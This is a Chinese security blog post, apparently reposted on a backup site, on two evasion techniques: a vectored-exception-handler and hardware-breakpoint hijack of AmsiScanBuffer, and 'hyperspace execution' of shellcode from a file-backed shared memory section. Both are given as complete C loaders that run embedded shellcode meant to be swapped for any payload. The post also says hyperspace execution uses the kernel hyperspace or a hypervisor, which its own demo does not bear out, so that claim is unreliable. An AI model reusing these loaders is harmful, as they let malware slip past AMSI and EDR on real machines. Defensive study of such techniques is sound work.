文章总结: 文章解析VEH与超空间执行两种免杀技术。VEH利用异常处理及硬件断点劫持AmsiScanBuffer流程实现无代码修改绕过AMSI;超空间执行通过共享内存节加载恶意代码,伪装内存属性以规避EDR对私有可执行内存的检测。文章包含详细原理、代码Demo及技术对比,展示了对抗终端防御的高级攻防思路。 综合评分: 90 文章分类: 免杀,二进制安全,恶意软件,红队
对于VEH、超空间执行的一点看法
原创
明天
DeepDark Sec
2026年1月13日 14:40 四川
免责声明: 本文仅为安全研究和学术交流目的而写,请遵守当地相关法律,任何非法使用均与作者无关。请在合法授权的前提下进行安全测试和研究。
山月不知心里事,水风空落眼前花
正文开始
VEH技术
VEH原理
VEH是Windows系统提供的用户态异常处理增强机制,相较于传统的结构化异常处理(SEH),其具备全局生效、优先级可调、注册灵活等特性,支持进程在运行时动态注册自定义异常处理回调函数。在Windows异常处理流程中,当进程触发各类异常(如断点异常、内存访问违规、整数溢出异常等)时,系统会首先遍历进程注册的VEH回调函数链表,只有当所有VEH回调均无法处理异常时,才会移交至SEH或系统默认异常处理逻辑。VEH免杀技术的核心在于巧妙利用这一异常处理优先级机制,构建“硬件断点触发-异常回调劫持-执行流程篡改”的协同技术链路,通过劫持关键API的执行流程,实现对恶意代码加载与执行过程的隐蔽控制,全程不修改目标API的代码段,从而规避代码完整性检测。
AMSI作为Windows系统级恶意代码扫描接口,被PowerShell、VBScript、Office宏等多种执行载体强制调用,其核心函数AmsiScanBuffer会对输入的脚本或代码进行恶意性判定,是防御恶意代码执行的关键防线。传统技术方案多通过直接修改AmsiScanBuffer函数的入口代码(如替换为ret指令)实现绕过,但此类代码篡改行为会被EDR的内存镜像比对机制精准捕获。通过复用系统调试与异常处理机制间接控制AmsiScanBuffer的执行结果
具体流程如下:
注册双VEH回调函数,明确功能分工:VEH1专门负责断点异常的捕获与硬件断点的设置,VEH2专门负责单步异常的处理与执行流程的篡改,双回调的分离设计可提升逻辑清晰度与稳定性;
通过调用DebugBreak()函数主动触发STATUS_BREAKPOINT断点异常,强制进程进入VEH回调处理流程,在VEH1回调函数中,通过NtGetContextThread获取当前线程上下文,并为AmsiScanBuffer函数的入口地址设置硬件执行断点(利用CPU调试寄存器Dr0-Dr3实现);
当系统或目标进程调用AmsiScanBuffer函数时,CPU执行到该函数入口地址会触发STATUS_SINGLE_STEP单步异常,系统优先调用VEH2回调函数处理该异常,实现对AmsiScanBuffer执行流程的精准劫持;
在VEH2回调函数中,通过修改线程上下文寄存器状态实现AMSI绕过:将AmsiScanBuffer的返回值寄存器Rax设为S_OK(0),表示扫描无恶意;同时修改函数的输出参数(结果标识)为AMSI_RESULT_CLEAN(1),确保上层调用者认可扫描结果;最后将指令指针寄存器Rip直接指向AmsiScanBuffer的返回地址,跳过函数主体的扫描逻辑,实现“调用即通过”的效果。
Demo
VEH回调函数注册→AmsiScanBuffer函数地址定位→硬件断点设置→单步异常捕获→执行流程篡改→Shellcode隐蔽加载。
#include <Windows.h>#include <winnt.h>#include <ntstatus.h>#include <stdio.h>#pragma comment(lib, "ntdll.lib")// 声明未公开的NTAPI函数EXTERN_C NTSYSAPI NTSTATUS NTAPI NtContinue(PCONTEXT ContextRecord, BOOLEAN TestAlert);EXTERN_C NTSYSAPI NTSTATUS NTAPI NtGetContextThread(HANDLE ThreadHandle, PCONTEXT ContextRecord);EXTERN_C NTSYSAPI NTSTATUS NTAPI NtSetContextThread(HANDLE ThreadHandle, PCONTEXT ContextRecord);// 全局变量:保存AmsiScanBuffer地址、VEH句柄PVOID g_pAmsiScanBuffer = nullptr;PVOID g_pVEH1 = nullptr;PVOID g_pVEH2 = nullptr;// 恶意Shellcode(示例:弹出计算器,可替换为自定义Payload)unsigned char g_Shellcode[] = { 0x48, 0x31, 0xc9, 0x48, 0x81, 0xe9, 0xd0, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x05, 0xef, 0xff, 0xff, 0xff, 0x48, 0xbb, 0x31, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x48, 0x31, 0x58, 0x2f, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x48, 0x31, 0xc0, 0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x54, 0x58, 0x44, 0x8b, 0x2d, 0x32, 0x00, 0x00, 0x00, 0x49, 0x89, 0xe5, 0x49, 0xc7, 0xc1, 0x00, 0x00, 0x00, 0x00, 0x4d, 0x31, 0xc0, 0x4d, 0x31, 0xc9, 0x4d, 0x31, 0xd2, 0x4d, 0x31, 0xdb, 0x48, 0xff, 0xc0, 0x48, 0x89, 0xc2, 0x48, 0xff, 0xc0, 0x48, 0x89, 0xc1, 0x48, 0x83, 0xec, 0x20, 0x41, 0xff, 0xd5};// VEH2:处理单步异常,实现AMSI绕过LONG NTAPI VEH2(_EXCEPTION_POINTERS* ExceptionInfo) { if (ExceptionInfo->ExceptionRecord->ExceptionCode != STATUS_SINGLE_STEP) { return EXCEPTION_CONTINUE_SEARCH; } // 检查是否命中AmsiScanBuffer的硬件断点 CONTEXT* pContext = ExceptionInfo->ContextRecord; if (pContext->Rip == (DWORD64)g_pAmsiScanBuffer) { // 1. 清除硬件断点(避免无限循环) pContext->Dr7 = 0; // 2. 修改返回值:Rax = S_OK (0) pContext->Rax = 0; // 3. 修改AmsiScanBuffer的结果参数(设为AMSI_RESULT_CLEAN) *(DWORD*)((DWORD64)pContext->Rsp + 0x20) = 1; // AMSI_RESULT_CLEAN = 1 // 4. 跳过AmsiScanBuffer主体,直接跳转到返回地址 pContext->Rip = *(DWORD64*)((DWORD64)pContext->Rsp + 0x8); // 5. 更新上下文 NtSetContextThread(GetCurrentThread(), pContext); return EXCEPTION_CONTINUE_EXECUTION; } return EXCEPTION_CONTINUE_SEARCH;}// VEH1:处理断点异常,设置硬件断点LONG NTAPI VEH1(_EXCEPTION_POINTERS* ExceptionInfo) { if (ExceptionInfo->ExceptionRecord->ExceptionCode != STATUS_BREAKPOINT) { return EXCEPTION_CONTINUE_SEARCH; } // 1. 获取当前线程上下文 CONTEXT Context = { 0 }; Context.ContextFlags = CONTEXT_DEBUG_REGISTERS | CONTEXT_CONTROL; NtGetContextThread(GetCurrentThread(), &Context); // 2. 为AmsiScanBuffer设置硬件断点(Dr0 = 函数地址,Dr7 = 断点类型) Context.Dr0 = (DWORD64)g_pAmsiScanBuffer; Context.Dr7 = 0x00000001; // 启用Dr0的执行断点 // 3. 注册VEH2,用于处理后续的单步异常 g_pVEH2 = AddVectoredExceptionHandler(1, VEH2); if (!g_pVEH2) { printf("[-] Add VEH2 Failed: %d\n", GetLastError()); return EXCEPTION_CONTINUE_SEARCH; } // 4. 更新上下文并继续执行 NtSetContextThread(GetCurrentThread(), &Context); NtContinue(&Context, FALSE); return EXCEPTION_CONTINUE_EXECUTION;}// 初始化VEH并触发断点BOOL InitVEH() { // 1. 获取AmsiScanBuffer地址(通过加载amsi.dll) HMODULE hAmsi = LoadLibraryA("amsi.dll"); if (!hAmsi) { printf("[-] Load amsi.dll Failed: %d\n", GetLastError()); return FALSE; } g_pAmsiScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer"); if (!g_pAmsiScanBuffer) { printf("[-] Get AmsiScanBuffer Address Failed: %d\n", GetLastError()); FreeLibrary(hAmsi); return FALSE; } FreeLibrary(hAmsi); // 2. 注册VEH1 g_pVEH1 = AddVectoredExceptionHandler(1, VEH1); if (!g_pVEH1) { printf("[-] Add VEH1 Failed: %d\n", GetLastError()); return FALSE; } // 3. 触发断点异常,进入VEH1 DebugBreak(); return TRUE;}// 加载并执行ShellcodeVOID ExecuteShellcode() { // 申请可读写内存(避免直接申请可执行内存) PVOID pMem = VirtualAlloc(NULL, sizeof(g_Shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (!pMem) { printf("[-] VirtualAlloc Failed: %d\n", GetLastError()); return; } // 复制Shellcode到内存 memcpy(pMem, g_Shellcode, sizeof(g_Shellcode)); // 修改内存属性为可执行(按需修改,减少异常特征) DWORD dwOldProtect = 0; if (!VirtualProtect(pMem, sizeof(g_Shellcode), PAGE_EXECUTE_READ, &dwOldProtect)) { printf("[-] VirtualProtect Failed: %d\n", GetLastError()); VirtualFree(pMem, 0, MEM_RELEASE); return; } // 执行Shellcode ((VOID(*)())pMem)(); // 清理资源 VirtualProtect(pMem, sizeof(g_Shellcode), dwOldProtect, &dwOldProtect); VirtualFree(pMem, 0, MEM_RELEASE);}int main() { // 1. 初始化VEH if (!InitVEH()) { printf("[-] Init VEH Failed\n"); return 1; } printf("[+] VEH Init Success\n"); // 2. 执行恶意Shellcode ExecuteShellcode(); // 3. 移除VEH(可选,增强隐蔽性) if (g_pVEH2) RemoveVectoredExceptionHandler(g_pVEH2); if (g_pVEH1) RemoveVectoredExceptionHandler(g_pVEH1); return 0;}
超空间执行
超空间执行原理
超空间执行(Hyperspace Execution)其核心设计思路是通过“内存节(Section)伪装与共享映射”,将恶意代码融入系统正常的内存管理逻辑,规避EDR对异常内存区域的识别与拦截。在Windows内存管理体系中,内存节是进程内存区域的核心管理单元,根据属性可分为私有节(MEM_PRIVATE)、镜像节(MEM_IMAGE)与共享节(MEM_MAPPED),其中私有节通常用于进程私有数据存储,是EDR重点监控的高风险区域。超空间执行技术的核心创新在于,摒弃传统通过VirtualAlloc函数申请私有内存的加载方式,转而通过NtCreateSection函数创建共享内存节,再将恶意代码映射至该内存节中,使恶意代码所在内存区域的属性(如SEC_COMMIT+PAGE_EXECUTE_READ)与系统合法程序的共享内存属性完全一致,从而实现“恶意代码在合法内存空间中隐蔽执行”的效果。
超空间执行的优点主要在在内存的合法化,
① 内存属性合规性:创建的内存节属性为共享(MEM_MAPPED)而非私有(MEM_PRIVATE),完全符合系统合法程序(如浏览器、办公软件)的内存使用规范,EDR基于“私有可执行内存=高风险”的判定逻辑无法触发告警;
② 执行流程隐蔽性:全程无需修改任何系统函数的代码段,通过内存映射机制直接加载并执行恶意代码,不存在传统注入技术的进程空间干扰行为,动态行为检测链路难以捕获异常;
③ 伪装灵活性:可结合多种合法文件句柄(如系统临时空白文件、系统合法驱动文件、普通文档文件等)创建内存节,通过文件句柄的合法性进一步提升内存区域的伪装效果,使EDR难以区分“正常内存映射”与“恶意内存映射”。
Demo
通过创建共享内存节加载并执行Shellcode,全程规避私有可执行内存的申请行为,实现对EDR内存扫描机制的有效绕过。
#include <Windows.h>#include <winnt.h>#include <ntstatus.h>#include <stdio.h>#include <shlwapi.h>#pragma comment(lib, "ntdll.lib")#pragma comment(lib, "shlwapi.lib")// 声明未公开的NTAPI函数EXTERN_C NTSYSAPI NTSTATUS NTAPI NtCreateSection( PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, PLARGE_INTEGER MaximumSize OPTIONAL, ULONG SectionPageProtection, ULONG AllocationAttributes, HANDLE FileHandle OPTIONAL);EXTERN_C NTSYSAPI NTSTATUS NTAPI NtMapViewOfSection( HANDLE SectionHandle, HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset OPTIONAL, PSIZE_T ViewSize, SECTION_INHERIT InheritDisposition, ULONG AllocationType, ULONG Protect);// 恶意Shellcode(示例:弹出计算器)unsigned char g_Shellcode[] = { 0x48, 0x31, 0xc9, 0x48, 0x81, 0xe9, 0xd0, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x05, 0xef, 0xff, 0xff, 0xff, 0x48, 0xbb, 0x31, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x48, 0x31, 0x58, 0x2f, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x48, 0x31, 0xc0, 0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x54, 0x58, 0x44, 0x8b, 0x2d, 0x32, 0x00, 0x00, 0x00, 0x49, 0x89, 0xe5, 0x49, 0xc7, 0xc1, 0x00, 0x00, 0x00, 0x00, 0x4d, 0x31, 0xc0, 0x4d, 0x31, 0xc9, 0x4d, 0x31, 0xd2, 0x4d, 0x31, 0xdb, 0x48, 0xff, 0xc0, 0x48, 0x89, 0xc2, 0x48, 0xff, 0xc0, 0x48, 0x89, 0xc1, 0x48, 0x83, 0xec, 0x20, 0x41, 0xff, 0xd5};// 创建临时空白文件HANDLE CreateTempFile() { WCHAR szTempPath[MAX_PATH] = { 0 }; WCHAR szTempFile[MAX_PATH] = { 0 }; // 获取系统临时目录 if (!GetTempPathW(MAX_PATH, szTempPath)) { printf("[-] GetTempPathW Failed: %d\n", GetLastError()); return INVALID_HANDLE_VALUE; } // 生成临时文件名 if (!GetTempFileNameW(szTempPath, L"HS_", 0, szTempFile)) { printf("[-] GetTempFileNameW Failed: %d\n", GetLastError()); return INVALID_HANDLE_VALUE; } // 打开临时文件(创建空白文件) HANDLE hTempFile = CreateFileW( szTempFile, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL ); if (hTempFile == INVALID_HANDLE_VALUE) { printf("[-] CreateFileW Failed: %d\n", GetLastError()); return INVALID_HANDLE_VALUE; } // 删除临时文件(保留句柄,文件会在句柄关闭后自动删除) DeleteFileW(szTempFile); return hTempFile;}// 超空间执行核心函数BOOL HyperspaceExecute() { HANDLE hTempFile = INVALID_HANDLE_VALUE; HANDLE hSection = NULL; PVOID pMapAddr = NULL; SIZE_T dwViewSize = sizeof(g_Shellcode); LARGE_INTEGER liFileSize = { 0 }; liFileSize.QuadPart = dwViewSize; __try { // 1. 创建临时空白文件,获取文件句柄 hTempFile = CreateTempFile(); if (hTempFile == INVALID_HANDLE_VALUE) { __leave; } // 2. 设置文件大小 if (!SetFilePointerEx(hTempFile, liFileSize, NULL, FILE_BEGIN) || !SetEndOfFile(hTempFile)) { printf("[-] SetFileSize Failed: %d\n", GetLastError()); __leave; } // 3. 创建共享内存节 NTSTATUS status = NtCreateSection( &hSection, SECTION_ALL_ACCESS, NULL, &liFileSize, PAGE_READWRITE, SEC_COMMIT | SEC_SHARED, // 共享内存节,关键属性 hTempFile ); if (!NT_SUCCESS(status)) { printf("[-] NtCreateSection Failed: 0x%X\n", status); __leave; } // 4. 映射内存节到当前进程地址空间 status = NtMapViewOfSection( hSection, GetCurrentProcess(), &pMapAddr, 0, 0, NULL, &dwViewSize, ViewShare, 0, PAGE_READWRITE ); if (!NT_SUCCESS(status)) { printf("[-] NtMapViewOfSection Failed: 0x%X\n", status); __leave; } // 5. 将Shellcode写入共享内存节 memcpy(pMapAddr, g_Shellcode, dwViewSize); printf("[+] Shellcode Write to Hyperspace Success: 0x%p\n", pMapAddr); // 6. 修改内存属性为可执行 DWORD dwOldProtect = 0; if (!VirtualProtect(pMapAddr, dwViewSize, PAGE_EXECUTE_READ, &dwOldProtect)) { printf("[-] VirtualProtect Failed: %d\n", GetLastError()); __leave; } // 7. 执行Shellcode ((VOID(*)())pMapAddr)(); printf("[+] Shellcode Execute Success\n"); return TRUE; } __finally { // 清理资源 if (pMapAddr) VirtualFree(pMapAddr, 0, MEM_RELEASE); if (hSection) CloseHandle(hSection); if (hTempFile != INVALID_HANDLE_VALUE) CloseHandle(hTempFile); } return FALSE;}int main() { if (HyperspaceExecute()) { printf("[+] Hyperspace Execution Success\n"); } else { printf("[-] Hyperspace Execution Failed\n"); } return 0;}
两者的区别
两种技术在对抗内存扫描方面都有比较好的效果,VEH主要是通过阻止EDR进行内存扫描,超空间执行则利用 Windows 内核 hyperspace(一个专用虚拟地址空间)或 hypervisor 虚拟化执行代码
| | | | | — | — | — | | 技术维度 | VEH | 超空间执行 | | 核心思路 | 基于系统异常处理机制的执行流程劫持,通过硬件断点触发异常,在回调函数中篡改关键API的执行结果与流程,实现无补丁绕过 | 基于系统内存节管理机制的恶意代码伪装加载,通过创建共享内存节映射恶意代码,使内存属性与合法程序完全一致,实现隐蔽执行 | | 对抗目标 | 主要对抗AMSI等系统级扫描机制、EDR的API调用序列监控与代码完整性校验机制 | 主要对抗EDR的异常内存区域扫描、内存属性异常判定机制 | | 隐蔽性 | 全程无代码段修改,复用系统异常处理与调试机制,执行流程与系统正常运行逻辑高度融合,难以被动态行为检测捕获 | 内存属性、加载流程与系统合法程序完全一致,EDR基于内存特征的检测机制无法区分 | | 局限性 | 依赖异常处理机制,若EDR挂钩VEH相关API(如AddVectoredExceptionHandler)则可能被检测;对线程上下文操作精度要求高,易出现执行不稳定问题 | 依赖共享内存节与文件句柄,若EDR监控NtCreateSection、NtMapViewOfSection等API则可能被识别; |
谁能想到最后还有一张腿呢
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:DeepDark Sec 明天《对于VEH、超空间执行的一点看法》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论